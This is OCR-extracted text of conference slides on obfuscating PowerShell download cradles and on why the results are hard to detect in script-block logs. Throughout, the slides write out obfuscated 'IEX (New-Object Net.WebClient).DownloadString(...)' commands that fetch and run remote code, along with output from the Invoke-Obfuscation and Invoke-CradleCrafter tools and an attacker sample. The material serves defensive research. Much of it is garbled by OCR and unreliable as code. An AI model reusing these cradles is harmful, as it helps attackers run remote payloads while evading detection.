e . (Get-Command New-O%)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Wildcards are our friend...
« & (Get-Command *ew-0%*)
* . (Get-Command *ew-0%*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Wildcards are our friend...
e & (Get-Command *w-0%*)
* . (Get-Command *w-0O%)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
* New-Object

* Get-Command = Did | mention Get-Command also has aliases?
e & (Get-Command *w-0%*) * & (GCM *w-0%*)
* . (Get-Command *w-0O%) * . (GCM *w-0%*)



Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

COMMAND works because PowerShell

e What script block elements can w 2Ut° prepends "Get-" to any
command, so COMMAND resolves to

* Invoke-Expression Get-Command.

* New-Object

e Get-Command = Did | mention Get-Command also has MORE aliases?
e & (Get-Command *w-0%*) * & (GCM *w-0%) e & (COMMAND *w-0%*)
* . (Get-Command *w-0O%) * . (GCM *w-0O%*) e . (COMMAND *w-0%*)




Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
 New-Object | Get-Command | GCM | Command

* Get-Command = Can also be set with a string variable
* & (Get-Command *w-0%*) e & (GCM *w-0%*) e & (COMMAND *w-0O%)
* . (Get-Command *w-0%*) * . (GCM *w-0%*) e . (COMMAND *w-0%*)
e Svarl="New"; Svar2="-Object"; Svar3=Svarl+Svar2; & (GCM Svar3)



Obfuscating the Cradle

* Invoke-Expression ((New-Object " N'e'T"."W'e'B'C'I'i'e’N'T"). "Do'w'N'I'0’A'd'STRi'N'g"
'ht'+'tps://bit.ly/L3glt"))

(

PowerShell 1.0 ways of calling Get-Command:

SExecutionContext.InvokeCommand.GetCommand("New-0b"+"ject", [System.Management.Automation.CommandTypes]::Cmdlet)
SExecutionContext.InvokeCommand.GetCmdlet("New-Ob"+"ject")
SExecutionContext.InvokeCommand.GetCommands("*w-o0*",[System.Management.Automation.CommandTypes]::Cmdlet,1)
SExecutionContext.InvokeCommand.GetCmdlets("*w-o0*")
SExecutionContext.InvokeCommand.GetCommand(SExecutionContext.InvokeCommand.GetCommandName("*w-0*",1,1),
[System.Management.Automation.CommandTypes]::Cmdlet)

6. SExecutionContext.InvokeCommand.GetCmdlet(SExecutionContext.InvokeCommand.GetCommandName("*w-0*",1,1))

u b WON B

* Get-Command = Can also be set with a string variable
& (Get-Command *w-0%*) e & (GCM *w-0%*) e & (COMMAND *w-0%*)
* . (Get-Command *w-0%*) * . (GCM *w-0%*) * . (COMMAND *w-0%*)
e Svarl="New"; Svar2="-Object"; Svar3=Svarl+Svar2; & (GCM Svar3)




Obfuscating the Cradle

* Invoke-Expression (New-Object"N'eT. WeBClieNT")."DowNIToAdSTRIi'Ng"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this? NOTE: Get-Command's
cousin is just as useful...

* Invoke-Expression
Get-Alias / GAL / Alias

 New-Object | Get-Command | GCM | Command

* Get-Command = Can also be set with a string variable
* & (Get-Command *w-0%*) * & (GCM *w-0%*) e & (COMMAND *w-0%)
* . (Get-Command *w-0O%) * . (GCM *w-0O%*) e . (COMMAND *w-0%*)
e Svarl="New"; Svar2="-Object"; Svar3=Svarl+Svar2; & (GCM Svar3)



Obfuscating the Cradle

* Invoke-Expression (& (GCM *w-0*)"N'eT. WeBClieNT")."DowNIlToAdSTRIiNg"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* Invoke-Expression
* New-Object | Get-Command | GCM | Command | Get-Alias | GAL | Alias

* Get-Command = Can also be set with a string variable
* & (Get-Command *w-0%*) e & (GCM *w-0%*) e & (COMMAND *w-0O%)
* . (Get-Command *w-0%*) * . (GCM *w-0%*) e . (COMMAND *w-0%*)
* Svarl="New"; Svar2="-Object"; Svar3=Svarl+Svar2; & (GCM Svar3)



Obfuscating the Cradle

o Invoke-Expression (& (GCM *w-0*) "N'e'T."W'e'B'Cl'i'e’N'T")." D'o'w'N'I'0'A'd’S T'Ri'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* Invoke-Expression
* New-Object | Get-Command | GCM | Command | Get-Alias | GAL | Alias

* Given wildcards it's infeasible to find all possible ways for Get-
Command/GCM/Command/Get-Alias/GAL/Alias to find and execute New-Object, so potential

for FPs with this approach.



Obfuscating the Cradle

» Invoke-Expression (& ((G'C'M *w-0*)""N'e'T"."W'e'B'C'I''e’'N'T")."' D'o’w'N'I'0’A'd"S ' T'Ri'N"g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
. New-0bjecT| GeT-CommaNd | GCM | COMMAND | GeT-ATIA |
GAL | ATiAS

* Ticks also work on PowerShell cmdlets...



Obfuscating the Cradle

» Invoke-Expression (& ((G'C'M *w-0*)""N'e'T"."W'e'B'C'I''e’'N'T")."' D'o’w'N'I'0’A'd"S ' T'Ri'N"g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression
. New-0bjecT| GeT-CommaNd | GCM | COMMAND | GeT-ATIA |
GAL | ATiAS

e Ticks also work on PowerShell cmdlets...and so do invocation operators.
« & ('Ne'+'w-Obj'+'ect') & ("{1HOH2}" -f 'w-Ob','Ne','ject")
* . ('Ne'+'w-Obj'+'ect") & ("{1H{OoH2}" -f 'w-Ob','Ne','ject')

Concatenated Reordered



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'CIi'e’N'T")." D’'o'w'N'To’A'd’S T'R'i'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

Invoke-Expression

‘N'ew-0bjecT | GeT CommaNd| GCM | COMMAND | GeT ATiA |
GAL | ATiAS

Ticks also work on PowerShell cmdlets...and so do invocation operators.
* Once again, Regex all the things or give up on this indicator



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."W'e'B'C'I''e'N'T")."D'o'w'N' o’ A'd'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I''e'N'T")."D'o'w'N' 0’ A'd’'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression

 What's potentially problematic about /Invoke-Expression?



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I''e'N'T")."D'o'w'N' 0’ A'd’'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression

 What's potentially problematic about /Invoke-Expression?

1.  Aliases: Invoke-Expression/ IEX
1. Invoke-Expression "Write-Host 1EX Example -ForegroundColor Green"

2. IEX "Write-Host |EX Example -ForegroundColor Green"



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I''e'N'T")."D'o'w'N' 0’ A'd’'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression

 What's potentially problematic about /Invoke-Expression?
1.  Aliases: Invoke-Expression/ IEX
2. Order

1. IEX "Write-Host |EX Example -ForegroundColor Green"
2. "Write-Host 1EX Example -ForegroundColor Green" | IEX



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I'i'e’'N'T")."D'o'w'N' o’ A'd'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression

 What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX

2. Order
3. Ticks
1. TE'X

2. I'N'vo'k'e-Exp'Ressio’'N



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I'i'e’'N'T")."D'o'w'N' o’ A'd'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression

 What's potentially problematic about Invoke-Expression?
1. Aliases: Invoke-Expression / IEX
2. Order
3. Ticks
4. Invocation operators
1. &('I'Y'EX))
2. . ('"{1Y{o} -f'EX,'T")



Obfuscating the Cradle

[C:\Documents\Revoke-Obfuscation\Corpus]
PS:7 > dir *.psl,*.psml -af -rec

>> group { $_ | sls
>> select Count,Name
* |nvoke-H

i}y Count Name

397254 False
11411 True

* What s¢

* |nvo
[C:\Documents\Revoke-0Obfuscation\Corpus]

. MH1PS:8 > 11411/(11411+397254)
¥0.027922626111852

)M [ C:\Documents\Revoke-Obfuscation\Corpus]

“RPINg"(

1. & (T+EX)
2. . ({iXoy -f'EX,)



Obfuscating the Cradle

* Invoke-Expression (& ((G'C'M *w-0*)""N'e’'T"."W'e'B'C'I''e'N'T")." D'o'w'N' "0’ A'd'S T'RI'N'g"(

'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

* Invoke-Expression

 What's potentially problematic about Invoke-Expression?
1.

ARl ) I

Aliases: Invoke-Expression / IEX

Order

Ticks

Invocation operators

Invoke-Expression vs Invoke-Command
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Invoke-Command Invoke-Command {Write-Host ICM Example -ForegroundColor Green}
ICM ICM {Write-Host ICM Example -ForegroundColor Green}
Invoke() {Write-Host ICM Example -ForegroundColor Green}.Invoke()
& & {Write-Host ICM Example -ForegroundColor Green}

. {Write-Host ICM Example -ForegroundColor Green}

 What's potentially problematic about "Invoke-Expression"???
1.  Aliases: Invoke-Expression/ IEX

Qrder .InvokeReturnAsls()
Ticks InvokeWithContext() € PS3.0+

Invocation operators
Invoke-Expression vs Invoke-Command

S



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I''e'N'T")."D'o'w'N' 0’ A'd’'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression | | IEX | | Invoke-Command || ICM || .Invoke() | | ... "&" or "." 21?17

* So we add the Invoke-Command family to our arguments...



Obfuscating the Cradle

« Invoke-Expression (& ((G'C'M *w-0*)""N'e'T."'W'e'B'C'I''e'N'T")."D'o'w'N' 0’ A'd’'S T RI'N'g"(
'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
* Invoke-Expression | | IEX | | Invoke-Command || ICM || .Invoke() | | ... "&" or "." 21?17

* So we add the Invoke-Command family to our arguments...
 Don’t forget about PS 1.0!

* SExecutionContext.InvokeCommand.InvokeScript({Write-Host SCRIPTBLOCK})
» SExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION")



Obfuscating the Cradle

e IINVoke-ExpRessioN(&(GCM *w-0%*)
"“N'e'T.'W'e'B'CI'i'e’'N'T")."D'o'w'N'I'0’'A'd'S T'R'i'N'g"( 'ht'+'tps://bit.ly/L3g1t')
* What script block elements can we key off of for this?
"I'NVoke"( )|[].."&" or"."?21?21?

* So we add the Invoke-Command family to our arguments...
* And add in ticks...



Obfuscating the Cradle

e IINVoke-ExpRessioN(&(GCM *w-0%*)
"N'eT. WeBCTlieNT")."DowNTo'Ad’'STR'i'N'g"( 'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?
“I'N'Vo'ke"( ) |].."&" or"."?21?1?

e Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?



Obfuscating the Cradle

e IINVoke-ExpRessioN(&(GCM *w-0%*)
"N'eT. WeBCTlieNT")."DowNTo'Ad’'STR'i'N'g"( 'ht'+'tps://bit.ly/L3g1t")

* What script block elements can we key off of for this?

"\l‘N\V\O\k\e"( ) | | ||&|| or II.II ?l‘p"p

e Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
e Of course not, because we can convert strings to script blocks!



Obfuscating the Cradle

e IINVoke-ExpRessioN(&(GCM *w-0%*)
"N'eT. WeBCTlieNT")."DowNTo'Ad’'STR'i'N'g"( 'ht'+'tps://bit.ly/L3g1t")
.Net and PS 1.0 Syntax for Script Block Conversion
1. [Scriptblock]::Create("Write-Host Script Block Conversion")

2. SExecutionContext.InvokeCommand.NewsScriptBlock("Write-Host Script Block
Conversion")

e Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
e Of course not, because we can convert strings to script blocks!



Obfuscating the Cradle

e IINVoke-ExpRessioN(&(GCM *w-0%*)
"Ne'T. ' WeBClieNT")."DowNToAd'STR'i'N'g"( 'ht'+'tps://bit.ly/L3g1t")
.Net and PS 1.0 Syntax for Script Block Conversion...and we can obfuscate those too!
1. ([Type]("Scr"+"ipt"+"block"))::(" " C'Re"+" AT e").Invoke("ex"+"pres"+"sion")
2. Sa=S{EXxecuTioNCoNTexT}Sb=Sa."I'NVokeCommANd"
Sb.""N'e'w'ScR'i'p T Blo’c’k"("ex"+"pres"+"sion")

e Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
e Of course not, because we can convert strings to script blocks!



Obfuscating the Cradle

« I'N'Vo'k'e-'E'X'p'Res's 0N (& (GCM *w-0%)
“Ne' T W'e'B'Cli'e'N'T")." D'o'w'N'T'0’A'd'S T'Ri'N'g"( 'ht'+'tps://bit.ly/L3g1t')

.Net and PS 1.0 Syntax for Script Block Conversion...and we can obfuscate those too!
And Invoke-CradleCrafter has even more invocation options (and obfuscation techniques)!

Choose one of the below Memory\PsWebString\Invoke options to APPLY to current cradle:

MEMORY\PSWEBSTRING\INVOKE\1
MEMORY\PSWEBSTRING\INVOKE\2
MEMORY\PSWEBSTRING\INVOKE\3
MEMORY\PSWEBSTRING\INVOKE\4
MEMORY\PSWEBSTRING\INVOKE\5
MEMORY\PSWEBSTRING\INVOKE\6
MEMORY\PSWEBSTRING\INVOKE\7
MEMORY\PSWEBSTRING\INVOKE\S&
MEMORY\PSWEBSTRING\INVOKE\®9
MEMORY\PSWEBSTRING\INVOKE\1©

| B s B e Y e B s B e I e Y e B e I |
oK K K K ¥ K K ¥ H
et e et e et e el e ]

No Invoke -=>
PS IEX -->
PS Get-Alias -->
PS Get-Command -=>
PS1.8 GetCmdlet -->
PS1.8 Invoke -=>

ScriptBlock+ICM -=>
PS Runspace -->
Concatenated IEX -->
Invoke-AsWorkflow -->

For testing download sans IEX
IEX/Invoke-Expression
Get-Alias/GAL

Get-Command/GCM
$ExecutionContext...
$ExecutionContext...
ICM/Invoke-Command/.Invoke()
[PowerShell]: :Create()
.($env:ComSpec[4,15,25]-Join"'")
Invoke-AsWorkflow




Breathe




More Obfuscation Techniques

* Additional command line obfuscation techniques via string manipulation
* Reversestring: SreverseCmd = ")'t1g3L/yl.tib//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";

1. Traversethe stringin reverse and join it back together
IEX (SreverseCmd|[-1..-(SreverseCmd.Length)] -Join ") | IEX

Image: C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell $reverseCmd = \")'t1g3L/yltib//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(\"; IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join ) | IEX

2. Caststring to char arrayand use .Net function to reverse and then join it back together
SreverseCmdCharArray = SreverseCmd.ToCharArray(); [Array]::Reverse(SreverseCmdCharArray);
IEX (SreverseCmdCharArray -Join ") | IEX

Image: C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell $reverseCmd = \")'t1g3L/yl.tib//:sptth'(gnirtSdaoclnwoD.)tneil CheW.teN tcejbO-weN(\"; $reverseCmdCharArray = $reverseCmd.ToCharArray(); [Array]:Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray -Join ") | IEX

3. .Net Regex the string RightToLeft and then join it back together

IEX (-Join[RegEx]::Matches(SreverseCmd,'.",'RightToLeft')) | IEX

Image: CAWindows\System32\WindowsPowerShell\wv1.0\powershell.exe
CommandLine: powershell $reverseCmd = \")'t1g3L/yl.tib//:sptth'(gnirtSdaclnwoD.)tneilCheW.teN tcejbO-weN(\"; IEX (-Join[RegEx]::Matches($reverseCmd,".", RightToleft")) | IEX




More Obfuscation Techniques

* Additional command line obfuscation techniques via string manipulation
* Reversestring:

e Split string:  ScmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3glt')";

1. Split the string on the delimiter and join it back together
IEX (ScmdWithDelim.Split("~~") -Join ") | IEX

Image: C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell $cmdWithDelim = \"(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t)\"; IEX ($cmdWithDelim.Split(\"~~\") -Join ") | IEX



More Obfuscation Techniques

* Additional command line obfuscation techniques via string manipulation

* Reversestring:
e Split string:
* Replace string: ScmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t")";

1. PowerShell's .Replace
IEX ScmdWithDelim.Replace("~~","") | IEX

2. .Net's -Replace (and -CReplace which is case-sensitive replace)
IEX (ScmdWithDelim -Replace "~~","") | IEX

3. PowerShell's -f formatoperator
IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}bit.ly/L3g1t")' -f 'Ne', 'Download’,'https://') | IEX

Image: C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell TEX ('({0}w-Obiject {0}t.WebClient).{1}String(\"{2}bit.ly/L3g1t\")’ -f 'Ne', ‘Download’,'https://") | IEX



More Obfuscation Techniques

* Additional command line obfuscation techniques via string manipulation
* Reverse string:
e Split string:
* Replace string:

* Concatenate string: Sc1="(New-Object Net.We"; Sc2="bClient).Downlo"; Sc3="adString('https://bit.ly/L3glt')";

1. PowerShell's -Join (w/o delimiter)
IEX ($¢1,5¢2,5¢c3 -Join ") | IEX

2. PowerShell's -Join (with delimiter)
IEX ($c1,5¢c3 -Join Sc2) | IEX

3. .Net'sJoin
IEX ([string]::Join($c2,5¢1,5¢c3)) | IEX
4. .Net's Concat
IEX ([string]::Concat($c1,5¢c2,5c3)) | IEX

5. +operator / concatwithout + operator
IEX ($c1+$c2+$c3) | IEX / IEX"$c1$c2$c3" | IEX




More Obfuscation Techniques

e Automated Obfuscation via
Invoke-Obfuscation?

e |[EX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')

MENU :: Available options shown below:

Tutorial of how to use this tool

Show this Help Menu

Show options for payload to obfuscate

Clear screen

Execute ObfuscatedCommand locally

Copy ObfuscatedCommand to clipboard

Write ObfuscatedCommand Out to disk

Reset ALL obfuscation for ObfuscatedCommand
Undo LAST obfuscation for ObfuscatedCommand
Go Back to previous obfuscation menu

Quit Invoke-Obfuscation

Return to Home Menu

TUTORIAL
HELP,GET-HELP,?,-?,/?,MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR,CLEAR-HOST,CLS
EXEC, EXECUTE, TEST,RUN
COPY,CLIP,CLIPBOARD

ouT

RESET

UNDO

BACK,CD ..

QUIT,EXIT

HOME , MATN




More Obfuscation Techniques

e Automated Obfuscation via
Invoke-Obfuscation?

e |[EX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')

("{LHOY" £ X' IE') (&("{3H2H1KO}"-Fit, -
Obje','w','Ne') ("{0OH2H{1}"-f

'N','nt','et. WebClie')).("{2 HOH1H3}"-
f'dSt','rin','Downloa’,'g').Invoke(("{5H{OH3}{4}
{1H2}"-f'tp:/','3",'g1t",'/",'bit.ly/L','ht"))

, / ; /s
/ /\ /\ /\

N U S () WSS ) WU YU W U ) W—

:: Available options shown below:

Tutorial of how to use this tool TUTORIAL

Show this Help Menu HELP,GET-HELP,?,-?,/?,MENU
Show options for payload to obfuscate SHOW OPTIONS, SHOW,OPTIONS
Clear screen CLEAR,CLEAR-HOST,CLS
Execute ObfuscatedCommand locally EXEC,EXECUTE, TEST,RUN
Copy ObfuscatedCommand to clipboard COPY,CLIP,CLIPBOARD

Write ObfuscatedCommand Out to disk ouT

Reset ALL obfuscation for ObfuscatedCommand RESET

Undo LAST obfuscation for ObfuscatedCommand UNDO

Go Back to previous obfuscation menu BACK,CD ..

Quit Invoke-Obfuscation QUIT,EXIT

Return to Home Menu HOME , MAIN




More Obfuscation Techniques

(((((((((((((

WAV ANEY. /S ¢ /

 Automated Obfuscation via | T N T T T T 77 v
Invoke-Obfuscation?

* |[EX(New-Object Net.WebClient) | vietnamese attacker
.DownloadString(‘http://bit.ly/L3g (aka OceanLotus)

. ( SPShoMe[21]+SpsHOMe[34]+'X')
((("{14H{11H{7H46H{5H30K22{24 {68 {78 HOH59H67H31 {38 {55 H16{69K51K17H{23 {835 H6 {71 {34 {50 {64 {60}
{58H{47H{10K{48H65H{37H{40H{21 {56 {43 {53 {52 {IH12 {74 {26 {36 {2{15{70H{61 {7566 {4929 77 {42 {32 {1}
{4H{33H54K76{13H{73H{45{18{19K2862{20{41 {27 {44 H{3H{25H{72{57H63{39}{79}" -f
(&','H2},'AY'j6eT,6','PA",'6T','6T),'f','w','entj6T)’,'ebj6','AM-",").(PA","j6T.Ij6',".(PAM{1HO}P',' M-
fieT','jectjoTyj','6T','3","j','tj6o1,','6','j6T,",',j6 TNE','j6TIE','Th','"{1HO0','6','6','rinj6T,j6 TDOWN]6','X','1HO},'HOK1','M",' 1O
' P TNe', ' PAY itje' ', K5, j6','T/",'eTy/L",' j','e Tt W','T",'t,'{","-Oj",'Cli",'T",'-",'M-fjeTb','T",'/j','-f
i','(PA','M','j6','T,j6Tgl','6T,j6 Th','2}PA",',j6','0adS","M{2}{',']','6 T",'g",’
(PAM{','ttp:",'T,j','M{2",'T,j6TI','f",'T).Invoke((PAM{4 }{3','6T)
','T))")).replACE(([Char]80+[Char]65+[Char]77),[stRIng][Char]34).replACE('j6T',[stRIng][Char]39))




More Obfuscation Techniques

e Automated Obfuscation via
Invoke-CradleCrafter?

e |[EX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')

HELP MENU :: Available options shown below:

Tutorial of how to use this tool

Show this Help Menu

Show options for cradle to obfuscate

Clear screen

Execute ObfuscatedCradle locally

Copy ObfuscatedCradle to clipboard

Write ObfuscatedCradle Out to disk

Reset ALL obfuscation for ObfuscatedCradle
Undo LAST obfuscation for ObfuscatedCradle
Go Back to previous obfuscation menu

Quit Invoke-CradleCrafter

Return to Home Menu

TUTORIAL
HELP,GET-HELP,?,-?,/?,MENU
SHOW OPTIONS,SHOW,OPTIONS
CLEAR,CLEAR-HOST,CLS
EXEC, EXECUTE, TEST,RUN
COPY,CLIP,CLIPBOARD

ouT

RESET

UNDO

BACK,CD ..

QUIT,EXIT

HOME , MAIN




More Obfuscation Techniques

e Automated Obfuscation via

ARV VR I 1_] _ \
Invoke-CradleCrafter? [ I '.i_l_l.f_f_l_l‘_::fii.__::.,'_| o ||

e |[EX (New-Object Net.WebClient)
.DownloadString('http://bit.ly/L3g1t')

Sl Variable:/4 'http://bit.ly/L3g1t';SV Bm 'Net.WebClient';ls panyo*;SV 8i (.(Childltem
Variable:\E*Cont*).Value.(((Childltem Variable:\E*Cont*).Value| Member)[6].Name).(((Childltem
Variable:\E*Cont*).Value.(((Childltem Variable:\E*Cont*).Value| Member)[6].Name) | Member | Where{(Get-ltem
Variable:\_).Value.Name-like'*Cm*t'}).Name).Invoke((Childltem Variable:\E*Cont*)Value.(((Childltem
Variable:\E*Cont*).Value| Member)[6].Name).(((Childltem Variable:\E*Cont*).Value.(((Childltem
Variable:\E*Cont*).Value| Member)[6].Name) | Member | Where{(Get-ltem Variable:\_).Value.Name-
like'G*om*e'}).Name).Invoke('*w-*ct',STRUE,1))(GV Bm).Value);Set-Variable b (((((GV 8i -

Valu)).PsObject.Methods) | Where{S_.Name-clike'D*g'}).Name);(GV 8i -Valu).((Variable b).Value).Invoke((GV 4 -
ValueOn))|.(Get-Variable E*xt) .Value.InvokeCommand.(((Get-Variable E*xt).Value.InvokeCommand | Member| Where-
Object{(Get-Iltem Variable:\_).Value.Name-like'*Cm*ts'}).Name).Invoke('*e-*pr*n')




. . @mutaguchi came up ﬁ\
More Obfuscation Technigues with this concept in 2010! \ D i

SEH1=3( ); S(0= S 5 S+ =+ SEFESOI(SEH=SEH$((+ ) 5 SU/= (S} =S+ ${(+} ); ${@,

SEHI=S{*1 + S{(+) 5 S{v =t =( S{-"= S{-"H S{(+1); STF =(S{-"*F =S{-"*HS{(+}) 5 S{+} = (S{-"*}= ${-"*} +
S{+D 5 S{I} = (S{-7F =S + S{(+#1);9{-1= (S{-"1=5{-"*1 + S{(+} ) 5 S{S.3="["+ "S( @ }) "[S{+}]
HS(@{)"["S{(+" +"S{-1"1+ "S(@{} )"["SO"+ "S{F 1+ "S? [S{(+} ] IS 0S (@) )L S+ +
"S{@1'1+'s(@{} ) "I "S{(+" + "S{ 1+ "s(@f) )L S{N+s(@{ N[ S{@1] +"s? "[S{(+H+"s(@{} ) "[S{/}) ; of-
P E"S(@ 1)L S{(+ + s{@)] +S(@{ N'[S{@1+ "S{-TFUSOYHS{H] 5 "SETHSES IS/ + of-
SISISHY #5358} + SESIS{/1801 + S-S IS{@15 {1+ S{-SI{+IS{THS IS 36 {(+1S{ 15{(+} +S{-S.IS{(+1S{(+}5¢-
H O S{-SIS{@15{~ =) + S{-SIS{+1S{-} + S{USIS{IS{IHS{-SIS{(+15{15(E + S{-SIS{(+}S{IS{(+1+5{-S.16{-1S{- 1${-
SIS{HIS{(HISGH S{-SAS{ /IS S{-SIS{+IS{THS{-SIS{(HISTIS{(+H S{-SIS{(+}S{(+1SHS{-5.15{@}5{;} +5¢-
SIS{IS{H} + SESIS{HISTIS{(+) +S{-SIS{-IS{IHS{-S.G1s{+}E + SESIS{(+IS{IS{I} +S{-5.I5{(+1s{}s{~ =} +8{-
SIS{HIS{IS{(+1 SESIS{(HS{(+IS{ 1+ SESIS{(HIS{(+SE} + S{-SIS{@15{(+} + S{-SIS{@ISGHS{-S. 18IS+ S{-
SIS{HIS{CHIS{(+} +S{-SIS{(+S{(+154-} + SE-SIS{(HS{(HIS{H SESIS{HSTIS} + SESIS{HIS{(HIS{(+) + S{-S.15{-
IS{H SIS IS{(HISTIS{ +S{-SIS{IIS{/HS{-S.15{(+S{(+}5 0 SE-SIS{(+15{(+IS{@1+ S{-S.3{(+15{1S{~ =} + (-
SIS{CHIS{(HIS{} + SESIS{(HS{IS{/H S-S IS{@IS{H SE-SIS{/ISIEHS-S IS{(+HIS{IS{ @S {-S IS{(+1S{(+15{;} +5{-
SIS{CHIS{(+ISGT + S-S IS{(+HIS{(HISOMS{IS IS =1s{IHS{-S IS{@1S{+HS{-5.15{@)5{+} + S{-S.1{-1s{I}+5{-
SIS{HIS{IS{™ =1 + S-S IS{(+IS{(+1S} +5{-S.16{@1GH S-S IS{HISTIS{TY +S{-SIS{(+1S)I{(+1+ ${-5.}5{@}5{+}
+S{-SIS{+ISGH SES.36{™ =1S{(+} +S{-SAS{(+IS{IS{/1+ S{-S.16{@15{-} +S{-SIS{(HIS{(HISTHS{-S.I5{ /18- + S{-

s Is{@s{(+1)"]. ${-"*}



@mutaguchi came up

More Obfuscation Techniques with this concept in 2010! \' 2Z ¥

A
St F=+S(hSt ESU biSU b=eSU }SUE BESU MSE NS RSL =S -
P st (S =80 RSt B)SU b=(S0 b=SU baSt PR =(SU =S 1S
)i (St =S 1St NS SUE=SU =SU St WSt b=t }=S{ 1S W
S{ =T S@NTSE N HS@TUSE MU FUS@ TS IS 1+ S IS e
S{F=S(@N LTS U PIS@ TS IS0 S @) ISt P S@l) ISt b
SPLS FIS@N TS MSE 1=rs( @) ISt Y S P Is( @) IS}
PLUSCE + 00 P L &SE FCUSU ST ISU ST BUSE b+ SU UISUI S KU 1L )
ST C A LY S PO LY QD 1 - S CY D N CY O T T T T T D S
BoSUIST ISU B SUOBSE ISUMSE MU IU RO SUISL MU BL 1St 1L K
ST ISE BSU ISEMSE ISC 30 1 ST IS0 ISUMST BSU ISU 30 1480 B0 IS0 ISUHS( 191
IS +$0 ISUISE B ST ML B0 18U 18U IS0 ISUY#SU IUSE B SU KL IS0 1)
FSUOISE BSE BSE BSU IS ISC BSU WSU ST BSU MU WST ISE WL IS+ S I
U b+ S BSE IS0+ SUISUSUI ST IS 18U ISU 1 +S0 180 30 18U MU BU 18 18
BSUOISE IS0 UM S ISE IS BU 1#SUISE ST b+ SU ML ML ISU M SU IS
FSUOISE ISC ISUE S IST U DU b+ SUISE BU BU B SUISL IS B M K
U ISU b+ U ISC ISU M SUISE ISU BSU ST BSU MU b SU B ISL BS(} +8
U BSC ISR U ISU ISU ISU BSL MU BSUI+SUISL U WS SL KL b+ S
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ST CTAD CY D -1 SRS T4 T-1 () TGS CI A I () CTD N I - LTI
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More Obfuscation Techniques

e NEW Automated Obfuscation via
Invoke-Obfuscation?

"| % {SScript=S_ -Split" | % {' 'S _.Split('
') | % {S_.Length-1}}; SDecodedCommand = [Char[]][Int[]](SScript[O0..(SScript.Length-1)]-Join ").Trim('
